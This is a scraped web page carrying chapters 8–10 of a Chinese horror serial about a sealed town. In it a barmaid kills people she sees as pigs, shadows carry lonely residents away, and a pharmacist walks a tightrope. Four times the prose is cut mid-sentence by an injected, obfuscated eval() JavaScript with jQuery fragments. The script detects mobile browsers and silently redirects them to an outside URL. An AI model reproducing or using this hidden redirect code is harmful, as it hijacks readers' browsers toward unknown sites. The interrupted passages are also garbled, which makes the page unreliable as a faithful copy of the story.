爱子张开嘴,似乎想对父亲说些什么,但最后还是什么都没说。
“我回去休息了。”
爱子脱下围裙。
爱子没有回头,她知道隔着玻璃窗的酒橱边,父亲一定在低声骂她。
又一只猪头人走进了酒馆。
爱子控制住脸上的表情,她知道自己一定是得了什么病,但她不想让其他人看出来。
“要喝点什么?”
“大杯啤酒。”猪头人哼咛着,扭动着肥大的身子在座椅上坐下。
刚开始,爱子见到的还只是耳朵变成猪耳朵的那几个人。
后来,耳朵变成猪耳朵的那群人,逐渐长出了猪鼻子,猪一样的眼睛,猪尾巴,最后连握住酒杯的那只手,都变成了猪蹄。
变成猪的占多数,也有一群人,变成了羊。
镇子上的猪和羊并不多,这群人还保持着人的大致形态,看起来像站立的猪,好辨认一些。
爱子也就压下心中的异样,依旧正常地生活,起床,调酒,招待,打扫,记账,再关门离开。
“你的父亲呢?”一只猪问。
“他在后面房间休息。”爱子指指帘子。
“哎呦,这么小的年纪就不上学了啊,真是可怜,可怜哦……”一头羊哼叫着,嘴角却勾起一抹弧度。
爱子知道,自己的苦难又成了他人的笑料,她也擅长迎合:“是啊,我也觉得很可惜呢……”
又是一个深夜,没有月亮的夜晚,已经是冬天了,她两只手冻得红肿,用水将杯子洗了又洗,放在桌子上。
“好困啊……”她眼皮打架,连大声说话的力气都没了。
她站起身,将店门关住,又将灯关掉,整个酒馆顿时陷入了漆黑。
今天不回家了,直接在店里想休息吧。
爱子拿出一床被子,找了条柜台的长凳就躺了下来。
四肢瘫软下来,即便四面都是冬日的寒气,爱子还是很快进入了梦乡。
睡梦中,她听见了一声熟悉的哼叫,抽屉被拉动的声音就响在耳边。
她睁开眼睛,朦胧的黑暗中,一头猪凑在她脚边,将柜台的东西翻了一地,猪独有的味道冲着她的鼻子。
“这是一头猪啊……”爱子自言自语。
听见爱子的声音,猪头猛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977557|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然调转,对准了爱子,它嘴里叼着一沓钱,两只肥短的猪蹄朝爱子脖子伸来,一把掐住。
爱子挣扎着,脸上青筋暴起,手在黑暗中摸索着,摸到了一个啤酒瓶。
“嘭!”
啤酒瓶在桌角磕碎,她将碎片捅进了猪的脖子。
猪头呼出的咸热的臭气逐渐消失,爱子推开了它沉重的身躯,猪砰一下落在地上。
爱子喘着气站起来,将地上的钱捡起来塞进柜子,冷着脸看猪血逐渐铺满地面。
过了一会,她勒着猪的脖子,将猪拖进了帘子后面。
希望父亲不要发现,不然自己真不好解释这头猪的来源。
一个人走进了酒馆,这是爱子从早上开店到下午见到的第一个人。
是一个围着围巾的警官,他哈出一口热气,搓了搓手。
坐到柜台前,他先要了一大杯啤酒,喝了两口后,他扫视着酒馆,问:“姑娘,你有没有见过一个人?”
他拿出照片让爱子辨认。
爱子看着眼前的这个人,摇了摇头。
警官已经找了这个人三天了,即便想隐藏情绪,眼中还是难免有些失望,他看着爱子在柜台前忙前忙后,慢慢啜饮完了那杯冒着气泡的酒。
“说来也奇怪。”爱子忽然笑道:“前几天,有一只猪,来我的酒馆偷东西,现在那只猪还在后面呢。”
“哦?我能看一下吗?”警官好奇地站起身。
“没什么好看的,擦猪血我都用了好长时间,现在后面流的都是血,恶心死了。”爱子笑道。
警官没有听爱子的话,朝着帘子后走去,爱子也就放下手中的东西跟着他一起。
爱子将门打开:“看,现在看起来还有点吓人呢。”爱子说。
警官屏住呼吸,慢慢往外退去,掏出钱拍在桌子上。
“不再喝一会?”爱子问,她很怀念和人聊天的感觉。
“不了,还有工作要做。”
很快,几个警察冲进酒馆,将爱子制服后掀开了帘子。
帘子后的房间,是一间冷库。
冷库的门被打开后,冷气激起了一层鸡皮疙瘩。
冷库的地面,血液蜿蜒流过,又被冷气冻结,像地面自然长出的血管。
一个人躺在角落,脖子上插着啤酒瓶碎片,脸色灰白,头上结着冷霜。
这个人躺在什么东西上面,两个警察上前,将尸体抬下来。
这个尸体又肥又宽,等他们将他抬起后,才发现下面还叠了两具尸体。
一具是爱子的父亲,一具是爱子的弟弟。
直到坐上警车时,爱子还在喃喃自语:“他们不是猪吗?你呢?你不是羊吗?为什么要抓我?”
后来,在镇子中又陆续发现了几例相关的案子,嫌疑人大都声称自己杀的是猪,牛,羊。
新上任的镇长无奈地将他们关进了精神病院。
但那些分不清猪牛羊与人的情况,在千鱼镇中还没有结束。
但有些人聪明得多,他们即便放眼望去都是牲畜,也还是将想法藏在心中,隐匿入人群中。
至于那些尸体,有家属的前来领取安葬。
没有家属的……
例如爱子的父亲,弟弟,小偷三人,因为镇子上近来尸体数量的急剧增加,这类无人领回家的尸体都被丢到了悬崖旁边。
尸体与感染了瘟疫的牛羊尸体混在一起,很快腐烂成了白骨。
骨头与骨头混在一起,自然分不清是猪牛羊还是人了。
8. 影子
“影子。”小百合喃喃自语。
“我走了。”小百合与龙太郎打了个招呼,顺手将教室的门锁上。
教室里,学生已经走完,只剩下课桌,在黑暗的世界里静静伫立,教室外,几棵大树的树影投到布满了铅笔印的课桌上,像墙壁上小孩子画的鬼脸。
教室外,走廊的世界还是清晰的,小百合将走廊的灯关上,朝楼下走去。
天气算不上黑暗,但是足够寒冷,冷风顺着脖子灌入身体,她将提包里的围巾围在脸上,裹住半张脸。
镇子上的怪事近来发生了不少,据奈绪所说,她有一位朋友因为分辨不清牲畜和人,已经被关进了精神病院。
而精神病院就在小百合回家的路上。
小百合回家的路要走几十分钟,途中要经过几个山坡,还有镇子上的这间精神病院。
精神病院从前是空着的,那是镇子还能与外界联通的时候,镇长修建的。
可现在,镇长住在医院,精神病院也满了。
镇子出现的怪象,似乎并不是单纯的身体伤害,而更偏向于精神攻击,从精神病院骤增的人数就可以看出。
精神病院是一栋四层楼的建筑,每扇窗户都焊了铁栏杆,门也经过加固,里面有两位医生,几位护士以及两名守卫,按时上班下班。
精神病院外面围了一圈带着铁荆棘的网,极高。
有时候,小百合经过精神病院时,会看到几个精神病人挣脱了守卫的束缚,试图翻过荆棘逃脱,但最终回报给他们勇敢的翻越举动的,不过是满手的血痂而已。
小百合四肢绷紧,围紧围巾加快速度,从精神病院门前经过,有护士在门口笑着和她打招呼,她也只是勉强回应,不敢停留。
那些人的脸太冷,眼神太冷,看着小百合的眼睛中带着怜悯。
仿若圣母一样的圣光照耀,护士的眼中仿佛在说:“我们会为您治愈一切痛苦,不论是□□还是精神。”
这种麻木的平静感让小百合惊恐。
只有回家最后那段路,才能让她感到安心,这段路是一片宁静的花田。
郁金香长得不是很高,差不多到她大腿。
在有月亮的夜晚,小百合顺着风的方向看过去,像是掀起了一片彩色的波浪,花骨朵撞着花骨朵,香气也被撞了出来,将风也变成裹挟着香气的波浪。
今天也是个有月亮的夜晚。
小百合闷着头跑过精神病院,冲过一个又一个山坡,终于站在开满郁金香的田埂中。
小镇的季节似乎被打散了,郁金香是不是应该在这个季节开放?小百合不知道,但镇子上不知道的事情,从小镇全面封闭的那天开始,就随着记忆的波涛涌现出来。
和那些奇异的事情比起来,郁金香开放的季节实在是太微不足道了。
小百合想,只要她闻到的花香是真的就好。
她穿了一双带毛的靴子,踩在松软的田埂上,泥土顺着踩过的脚印接连下滑。
今夜的月亮十分明亮,皎皎银光广撒在天地之间,一切都看得明亮,藏不下一丝黑暗。
月光下,她的影子也跟着她,在田埂上跳跃着,奔跑着。
自由是会传染的。
小百合想,若她有自由,那么影子也应当是自由的。
她跑向田野间的那栋小房子,停下脚步打开房门,她躺在床上,独自对抗着空荡荡的房间。
她父母早亡,从少年时期就独自生活,将她养到大的,也只有她自己而已。
她睡不着,站起身推开门,搬了把凳子坐在房门口,月光照在她半边侧脸上。
空气寒冷,房间内是温暖的,她坐在门口,后背温暖,前胸寒冷。
寒冷的风劲吹着,她觉得这寒冷的风也像是在拥抱她,她张开了双臂,融入寒冷的风中。
“抱抱我吧。”一个声音忽然说。
小百合惊诧地扭头,看见了月光照耀下自己的影子。
“如果你觉得孤独,就抱抱我吧。”
声音是从影子中传来的。
小百合屏住呼吸,看见影子动了一下,接着,一团浓稠的黑暗从地上起身,形成了小百合自己的形状。
这团黑色看起来没有光泽,像是一个巨大的空洞,宇宙的黑暗从中诞生,也从中瓦解。
小百合将手小心地伸过去,握住了影子的手,有些柔软,是一团柔软的冰冷。
影子的脚和自己的脚连在一起,不能分开,小百合张开手臂,抱住了这团影子,像在抱一个真正的人一样。
小百合抱着影子,眼角泛起泪光,她想,我大概是疯了。
拥抱过后,影子重新缩回地上,周围安静,像是什么事情都没有发生。
小百合重新回到房间,做了一个梦,梦里,她的父母还活着,她的双胞胎妹妹也还活着,他们一家人脸上挂着微笑,走在去动物园的路上。
那次事故发生后,她就躲开了城市,来到了这个几乎与世隔绝的小乡镇,独自与孤独为伴。
小百合依旧走在回家的路上。
奈绪挽着她的手,有些紧张地看着前方。
是一扇封锁的大铁门,带着荆棘的铁网。
小百合敲了敲门,露出一张护士的脸:“小百合老师,今天这么早下班?”
小百合勉强笑了笑,“带学生来……来瞧一个人。”
“叫什么名字?”
“爱子。”
“你们先进来吧。”护士摇晃着手中的钥匙串,将一扇房门打开。
“先在这里等吧,我去喊她出来,不过你们只能隔着玻璃聊天。”
相较于精神病院残破的外观,精神病院内部很干净,房间众多,几人合住一间。
和在电视上看到的歇斯底里的病人不同,这里的病人很温顺,几乎不需要用束缚带。
敲门声响,爱子被领了进来,隔着一扇玻璃,玻璃上有几个镂空的小孔,几人的对话都能听得清楚。
爱子的头发长了些,衣着整洁,脸上的表情平静而美丽,手中紧紧握着一个塑料圆杯子。
护士解释说:“爱子她刚进来时,改不掉在酒馆擦杯子的习惯,一直想要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977558|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个玻璃杯,但玻璃这种东西是不允许给病人的,我们就给她找了这个塑料杯子代替。”
爱子擦着塑料杯子,抬起头,看见奈绪站在对面,高兴地笑了起来,兴奋地冲上前趴在玻璃上。
她嘴角咧起笑容:“奈绪,奈绪,好一段时间没见你了,你最近怎么样?”
奈绪嘴角紧抿,眉毛鼻子皱着,一副想哭又不能哭的样子,小百合轻轻拍着她的肩:“奈绪最近挺好的,你怎么样?”
爱子眼睛里射出兴奋的神采:“我在这里看见了好多人,不是动物,是人,我之前见到好多动物,没想到进了这里,竟然看见了这么多人!”
奈绪想起医生诊断的爱子的精神症状,眼中闪过一丝心疼,她指了指自己:“我呢?”
爱子皱眉:“你当然是人了,你旁边的这个也是人。”爱子指向小百合老师。
爱子话锋一转,看向病院里的工作人员,指着她们身后的护士说:“不过他们是绵羊。”
“绵羊?不是猪吗?”
“不是。”爱子摇摇头,接着道:“奈绪,我是不是杀人了,我听见一群绵羊说我杀了人,我杀了谁?我的爸爸和弟弟呢?”
奈绪刚要回答,护士急忙走上前,将奈绪拉开,厉声道:“今天的探视时间结束了!”
奈绪无奈地往外走,忍住不去看爱子贴在玻璃上的脸。
“不要太伤心了。”小百合安慰道。
“等镇子能联系上外界了,就可以把爱子转院出去,也许外面的世界里,爱子还会有治愈的可能。”
奈绪有些不服气地鼓着嘴巴,说:“老师,怎么好好的人,总是说疯就疯了?”
她停顿了一下,接着说:“老师,我会疯吗?”
小百合揉了揉奈绪的头发,无奈地劝道:“你怎么会疯呢?奈绪,你是我见过心理最强大的女孩了,你一定会坚持到最后的。”
奈绪:“这个最后是什么的最后?是镇子联系上外界的那一天,还是一切都结束的那一天?如果我坚持到最后,那对我来说,这件事是好事还是坏事?”
小百合:“所有的因导致了所有的果,但在这个世界上,因与果是不平衡的,有些人注定就是要承受更多,也更痛苦,痛苦只会带来更多的痛苦,但化解痛苦的办法也唯有适应而已。”
奈绪不解地摇摇头,小百合笑了起来。
奈绪看着小百合的笑容,忽然想起来什么,忙问:“老师,你呢?你会疯吗?”
小百合的笑容瞬间凝固,笑声中断在嘴边。
天空刚刚开始落雪了,一朵晶莹的雪花滑荡着,落到她的眉毛上,她抬起头,看着迅速变得灰白的天色。
奈绪的注意力很快被雪花吸引了过去,她接住了一朵雪花,看它融化在掌心,脸上笑成一朵花:“老师,是雪哎!”
小百合也笑了,她低头喃喃说了一句:“我不知道。”
迅速变得灰白的天空,让影子的轮廓也模糊了。
若是影子此刻出现拥抱她,它会是黑色,还是灰白色,边缘是清晰的,还是模糊不清?
9. 影子
“你从哪里来?”小百合问。
影子没有回答。
“为什么你会诞生?”
一片沉默。
小百合见问不出什么,也就闭了嘴。
清冷的月光下,她与影子并排坐在一起,看着天光慢慢从地平线上升起,看着郁金香的花丛摇曳。
树木光秃,太阳从东边升起,地面上起了一层朦胧的雾气。
太阳没有给大地带来温暖,反而因为这点明黄色光线的照耀而更显寒冷,小百合起身回到房内,穿上了外套。
背上包后,她就要去上班了。
“我们一起走吧。”小百合说。
一人一影子,沿着田埂向镇子走去,阳光将影子拉长。
“你有没有见过你的影子?”
镇子上的镇民见面时,都互相打招呼,询问彼此的影子。
有影子的人的数目大约占小镇人口的一半,在没有太阳的日子,影子出现的频率大大减少,当日光强烈时,影子就会陪伴在人们身边。
在大街上走过,就会看见有人牵着自己的影子散步,人和影子走路都是小心翼翼的,仿佛害怕跌倒一样。
影子已经逐渐能脱离人的身体,在镇子上自由行走,它们偶尔还会不小心和人相撞,当撞到时,像是撞到了一团风,触感软绵绵的。
镇子上的影子是一群天外来客,个性聪明,刚开始和镇子上的人相处得极好,它们的主人也都将它们引为知心好友。
直到第一个影子带着他的主人消失,风言风语才开始在镇子里飘荡。
“它们是妖怪,它们不属于这个小镇!”有人大喊。
他们拉起来横幅,在没有阳光的天气里,用镇子上仅剩的大喇叭,对全镇人宣布:
“抵制影子!抵制影子!”
宣布演讲的地方就在精神病院旁边,一群精神病人,包括爱子在内,都将头贴在玻璃上,透过密密麻麻的铁栅栏向外张望。
爱子张望的无措的眼睛穿过人群,看到了一群羔羊中的小百合。
小百合手足无措,握紧手中的书本,弯着腰从一个示威群众旁擦身而过。
爱子朝她挥了挥手,“小百合!”
爱子喊了一声。
小百合忙着躲避拥挤的人群,没有注意到厚厚的玻璃窗下一位少女兴奋的叫喊。
她鼻尖冻得微红,脸上泛起可爱的红晕,小百合脚下的靴子踩在石板上铛铛作响,她朝着山坡跑去。
她要回家,她要回家,她要把所有的灯都打开,她要见到影子。
镇子上,道路两旁的店铺上,横着拉了数道横幅,将道路遮蔽得严严实实,太阳透不进来,风也透不进来。
白天走在大街上,由于横幅盖着,人们不必看清自己的影子,这给那些憎恨影子的人带来了不小的慰藉。
直到一个年轻人回到家中,看见了自己年迈的母亲。
母亲点燃了蜡烛,蜡烛映照出主人的影子。
黑色的影子从地上浮起,母亲与影子的手牵着,一只手正在逐渐变成黑色。
“妈,你……”他看向母亲的那只手。
他冲上前将母亲拽开,又挥手打飞了蜡烛,蜡油泼洒,在地上滚了一圈,整栋屋子隐没在黑暗中。
他察觉到母亲的手指已经变得虚空,像是一缕温柔吹拂的清风,母亲苍老的声音在空旷的房间内响起:
“儿子。”
“我太孤单了,我要走了。”
“走?你要走去哪里?做母亲的不应该陪在自己孩子身边吗?”
母亲轻轻的一声叹息,像是平静的水面泛起的一丝涟漪。
母亲的手骤然变软,变空,直到像一阵风消失在他的掌心。
他的影子尚且没有变成妖怪,所以他不必担忧,他点起蜡烛查看,找遍了所有房间。
母亲已经消失得无影无踪。
影子发生异变的人,在察觉到极端的孤独时,会和影子从千鱼镇消失。
这是镇子上最近发生的事情的总结。
不少人已经随着自己的影子消失了,其他人根本不知道他们去了哪里。
“你会带我去哪里?去什么地方吗?”小百合问。
影子回答:“离开千鱼镇。”
“为什么要离开这里?”小百合搓着手套,站在郁金香花丛中。
今天是个艳阳天,她向来不惧怕太阳,也不惧怕被太阳拉得极长的影子。
影子站在她身边,像个又长又细的鬼影,影子弯下腰,贴近她的耳朵。
“离开这里,离开这里,这里已经被孤独传染。”
“你好,我来看望爱子。”小百合鞠了个躬,直到护士打开了房门。
隔着玻璃,小百合与爱子对望。
小百合看见爱子的眼睛中,迷茫的神色一闪而过,精神病院里几个角落都有灯,她的影子被照得很浅很浅,几个影子叠在一起,艰难地喘息。
护士在旁边站着,听着她们二人的谈话。
“现在镇子上,影子已经带了几十个人离开了。”小百合说。
“这是件好事。”爱子说。
小百合:“有一个问题我一直没有问。”
“你当初看见了那么长时间的猪,牛,羊,他们成群结队地拥在一起,那你呢?你觉得自己是个什么动物?”
爱子沉默了一会,直到小百合觉得今日不会再问道这个答案时,才慢腾腾地从嘴里吐出一句话:
“我觉得我自己是人。”
小百合笑了一下:“人也是动物。”她站起身来,将背包里掏出一件薄棉袄递给护士。
“冬天到了。”窗外已经开始飘起细小的雪花。
“听说我在你眼中,还算是个人,那今天我这个人,就送你一份生日礼物吧。”
爱子接过棉袄穿上,口袋有什么东西在摩擦,她将手伸进口袋,摸到一把糖果。
她开心地笑了起来。
此后,小百合常常来看爱子,有时是和奈绪一起过来,有时是自己来。
爱子与小百合也逐渐变得熟稔起来,两人甚至开起了玩笑。
爱子有时候会问:“小百合,你的影子会带你去哪里?无论去哪里,记得要给我打电话。”
爱子比了个打电话的手势。
两人都笑了起来,她们都清楚,小百合的离开即是永恒的虚无,她将会随着影子一同融入大地,融入广袤的天空,那里,有另一个维度的世界,也许根本不完美。
但是管他呢。小百合想。
“你想离开这里吗?”小百合问。
“我想,可是没办法。”爱子看向地面,看向映在大理石瓷砖上,自己虚弱而重叠的影子。
精神病院的灯一天天开着,将一切黑暗都照得脆弱无比,影子也虚弱。
小百合与所有人作了告别,重新回到了原野上的小屋。
希望第二天是个晴天。她想。
也许这样就能在阳光的沐浴下,站在郁金香的花田里离开了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977559|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>也许上苍真的听到了她的祈祷,第二天是个晴天,万物的气息,包括她自己的情感,都浓烈得过分。
她站在田野中,等太阳将影子唤醒。
“小百合。”影子出现在她脚边。
影子慢慢站起身来,这是小百合第一次感觉到,影子像一座山那么高。
小百合被影子抱了起来,蜷缩在她怀中,她的半只胳膊已经变成了黑色,轻飘飘的。
小百合从高处看向远方的城镇,柔声说:“我们到那里去吧。”
影子长步迈开,两侧的景色像水一样流动,眨眼间,小百合已经站到了小镇的街道上。
影子的胳膊形成了一条滑梯,小百合从高处滑下来,小百合站到了精神病院前。
这条街的上空,拉满了遮挡阳光的横幅,横幅随风飘荡,几条栓横幅的绳子断了,横幅被风吹着,将精神病院的窗户遮盖得严严实实。
小百合走进商店,要了一把剪刀。
将绳子尽数剪碎,横幅摇晃了一下,便无力地掉落下来,阳光重新挤满了整条街。
在阳光的照耀下,影子也不再像从前那样软绵绵,现在它摸起来像光滑的大理石。
“你能在外面守着吗?我想进去说几句话。”小百合说。
影子点了点头,它的身子很高,蜷缩着窝在二楼的窗户旁。
护士将她带进去,小百合戴了一只长手套,隐藏了自己变黑的手臂。
“我要走了。”小百合说。
爱子的眼中闪过忧伤:“现在?”
“对。”
“我们还会再见吗?”
“会的,一定会的,只要有阳光,有开满郁金香花的地方,我们就一定会见面。”
小百合站起身离开。
推开房门的那一刻,她瞬间加快速度,朝着配电室冲去,几名守卫不明所以,小百合已经冲进了房间,将房门反锁。
她瘦弱的手臂摸上总开关,以迅雷不及掩耳之势的速度瞬间拉下!
电流刺啦作响,整栋精神病院陷入了漆黑。
一个护士擦亮了火柴,神情严肃:“怎么回事?停电了吗?”
火柴闪烁,隔着玻璃,另一旁的女子微笑着,摸紧了手里的糖果。
一个黑色的身影,从地面上站了起来,在瞬间便与女子融合到一起,只留下一双清亮的眼睛。
那眼睛眨了眨,也融入到黑色的影子之中。
配电室内,小百合砸着窗户,外面拍门声越来越大,她拉不开铁栏杆。
窗户上围的横幅遮挡了阳光,她更看不见自己的影子。
横幅的边缘被一只黑色的手揭开,那是影子的手。
影子将铁栏杆拉开,小百合便跌入了影子的怀抱。
她浑身都变成了黑色,融入了影子中,像一阵风一样轻盈。
她也确实变成风了。
黑色在阳光中消散,变成了小镇上无处不在的风。
一股风从窗边吹出,一股风从室内吹出,此时有人在精神病院内高喊:
“点灯!点灯!”
于是有人拿着一把手电筒进来了,照亮了黑暗。
无数影子从病人的背后诞生了,病人们都站了起来,与影子融为一体。
他们也化作了风,与那两股风一起,汇入了天地间。
这股风还去探望了奈绪,轻轻扣了扣她的窗户。
奈绪揉着眼睛打开窗户,迎面而来的只有温暖的夜风,仿佛天使正在亲吻她的脸庞。
10. 绳子上的散步者
“好!好!加油加油!”奈绪拼命鼓着通红的手掌,和同学一起为足球场上的淳平加油。
淳平穿着橙色的球衣,球袜紧绷在小腿上,一双腿跑得飞快,在赛场上穿梭着,不时弯腰躲开来自对方球队队员的袭击。
他那一头黄色的头发,因为两个月没有重新染,已经长出了大半黑色的发根,在全场的球员中格外显眼。
他冲奈绪扬了扬下巴,俏皮地笑了一下,随后如箭一般冲过球场,一个侧滑抢过球直立起身,脚背绷紧,猛踢射门。
“好哎!”全场响起爆炸一般的叫好声,鼓掌声。
龙太郎老师也激动得很,毕竟这是举办球赛以来,全班唯一进入球队的学生,有可能还会成为全场最佳球员。
同学们簇拥着淳平,欢呼着将他抛起又落下。
奈绪忽然听见了一声哎呦,好像来自淳平,她赶忙让同学将淳平放下。
淳平落地时,果然趔趄了一下,脸色有些苍白。
“怎么了?”奈绪问。
“好像……”淳平脸色有些惭愧,挠了挠一头乱发,支支吾吾说道:“好像我小拇指头骨折了。”
小拇指骨折,算不上天大的伤害,但也足够闹心。
“这可怎么办,下一场球赛是两周后,能恢复好吗?”龙太郎问,“不如我们现在去医院看看。”
淳平脚一瘸一拐,说:“听说那个药店老板之前是医生,不如先让他看看,严重的话再去看医生,不严重的话就直接拿些药吧。”
“也行。”龙太郎应着,对奈绪招招手:“奈绪,来帮个忙,咱们一起把淳平架去药店。”
“有人在吗?”
奈绪喊了几声都没人回答。
大铁门关着,上面贴了一张纸,奈绪凑近瞧了瞧,上写着:“药店周六周日不营业。”
“今天是周五啊,怎么会不营业呢?”
奈绪觉得奇怪,伸手拍了拍门:“慎一郎叔叔,你在店里吗?”
一阵窸窸窣窣的声音传来,伴随着金属摩擦的声音,卷帘门被拉起。
慎一郎一脸不耐烦地问:“怎么了?”
“我们能进去聊吗?”龙太郎说,“外面实在有些冷。”
前几天的雪刚化,新的雪花还没有到来,雪花融化积存的冷气全散到了空气中,将空气搅成了带着寒气的风。
淳平翘着一只脚,冻得瑟瑟发抖。
慎一郎扫视了三人一眼,鼻子里哼出一声,不情不愿地让他们进了屋子。
屋子很温暖,淳平将袜子脱掉后,慎一郎简单查看了一下,从后面拿出几盒药:“每天三次,按时涂抹,好得很快。”
龙太郎一颗心终于落到了肚子,扶着淳平站起来。
从卷帘门下钻出去之前,奈绪被什么东西绊了一下,她还没叫出声来,慎一郎冲过来,一把将奈绪推到一边。
奈绪的头磕到了墙壁,肿起一个大包,她有些委屈地揉着脑袋,看见慎一郎如同珍宝一样从地上捧起了那团东西。
是一团绳子,绳子很坚韧,两侧挂着铁钩。
他小心地将两侧的铁钩栓在屋内的柱子上,而后仿佛沉醉一般,轻轻抬起脚尖,踏在绳子上面。
绳子悬挂的高度离地面很近,不过二十厘米,他走在远离地面的这二十厘米以上,脸上的神情却自由得如同天外的飞鸟。
奈绪扶着墙站起身,不高兴地瞪了慎一郎一眼,脚跨过绳子,从卷帘门下钻了出去。
教室内,数学课刚下课,下一节就是班会,班里同学吵吵闹闹,即便龙太郎就在教室,也没有安静半分。
“老师,小百合她和你告别了吗?”
奈绪情绪有些低迷,她将全身都缩在椅子上,将下巴放在膝盖上,眼睛呆呆地看着课本。
“对,她说,她要到另一个世界去了。”龙太郎推了推眼镜,“她没有和你道别吗?”
“是道别了,可我就是因为道别才想念的啊,如果她没有道别,我还能寄希望于她没有离开,指不定什么时候就回来,突然出现在课堂上,但她和我道别了,我就没办法再欺骗自己了,她不会回来了了。”
奈绪眼中含着泪水,慢慢将腿放下,捂住了脸,脊背颤抖起来:“老师,爱子也走了,小百合老师也走了,现在……现在珠惠也走了。”
“珠惠?”龙太郎想起了这个时常扎着麻花辫的外班女孩,“我知道,她是班长对不对,就是骏平的女儿,她怎么也不来上学了?”
奈绪轻轻啜泣:“我、我几天没有见到她,去她家找她玩,她母亲告诉我,她得了和父亲一样的病,现在也待在医院。”
由子听见妹妹的哭泣,隔着几条桌子望过来,眼中也有些哀伤,又有些心疼。
“镇子上最近的事情是太多了。”龙太郎蹙起眉头,“我们镇子已经整整两个月和外界联系不上了。”
镇子前几年曾经发生过一次地震,那时候镇长让镇子上的居民都尽可能储备了足够多的物资,还购进了许多发电设备,不然以现在的局面真是难以应付。
龙太郎正想着,刺耳的上课铃忽然响了。
几个同学嬉闹着冲进了教室,龙太郎咳嗽几声,教室安静下来。
“同学们,大家都是高三学生了,再过半年,大家就要毕业了。”龙太郎清清嗓子,看了一眼教案。
“今天我们班会的主题是,梦想,你们的梦想是什么?请大家将梦想写在一张白纸上,多简单都没问题,只要用心就好,老师一定会细心保管,等各位高考后发给大家。”
“什么嘛。”教室里响起一阵嬉笑声,淳平朝老师吐了吐舌头:“老师,这已经是过时的招数了。”
龙太郎微笑:“就算过时了,你们也要给我写,好吗?几分钟后我收上来,淳平,不要左顾右盼了,不要抄别人的梦想。”
淳平愁眉苦脸,奈绪倒是很快就写好了,全班同学的都收起交了上去,淳平的最后才交,走回座位时还恋恋不舍地回头看。
“放心各位,我不会偷看的。”龙太郎微笑。
“奈绪,药抹完了,你能陪我一起去吗?”淳平嬉皮笑脸。
“你自己去会怎样?”奈绪看了一眼他的脚:“你就这么娇嫩?”
“哎呦,求求你了……”淳平夹起嗓子,细声细气地喊着奈绪,手抓着奈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977560|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绪的胳膊晃来晃去,扭得像条虫。
奈绪浑身起了一层鸡皮疙瘩。
淳平努力瞪大眼睛,装作一副很无辜的样子:“那个慎一郎店长,真的很吓人,那么光的头,那么深的皱纹,那么大的嗓音,就算当过医生又怎样?还没被他医好,我就先吓死了啊……”
“好了好了!我陪你去!”奈绪腾得站起身,拖着淳平往教室外走。
两人还没走到药店门口,就看见卷帘门大开着,慎一郎并不在里面。
“今天不是周一吗?他去哪里了?”
两个路人嬉笑着走来,后面围了一圈黑压压的群众,个个伸长了脖子,有一个亮亮的东西,在人群中格外显眼。
奈绪凝神细看,大吃一惊,扯住淳平的袖子就喊道:“那不是慎一郎叔叔的光头吗?”
两人紧赶慢赶挤到人群前面,奈绪还被几个路人不小心踩了几脚,她无心关注脚面的疼痛,只是抬起眼睛看着空中的人。
慎一郎将一根绳索绑在两棵大树间,离地面约有两米高。
慎一郎算不上瘦弱,在绳子上走得摇摇晃晃,两只手臂像鸟儿一样张开,光头像一盏闪亮的电灯泡。
他神情专注,丝毫没有关注下面熙熙攘攘的人群,绳子由铁丝拧成,踩在上面发出嘎吱嘎吱的声响。
他在上面走了一个小时,奈绪他们就在下面看了一个小时。
人群逐渐失去了兴趣,最后留在现场的,也不过是他们三人而已。
见到他们两个还停留在原地,慎一郎脸上露出了少见的笑容,他的笑容并不好看,甚至可以称之为恐怖,奈绪扶着淳平的手掐紧,出了一手冷汗。
店内,慎一郎将药递给他们,忽然来了一句:“我后天,打算在西山上再弄一次走索,你们会来看吗?”
他眼中满溢着期待,以至于奈绪还没等淳平拒绝,便回答:“会。”
慎一郎挨家挨户发传单,功夫不负有心人,后天,西山上果然聚满了人。
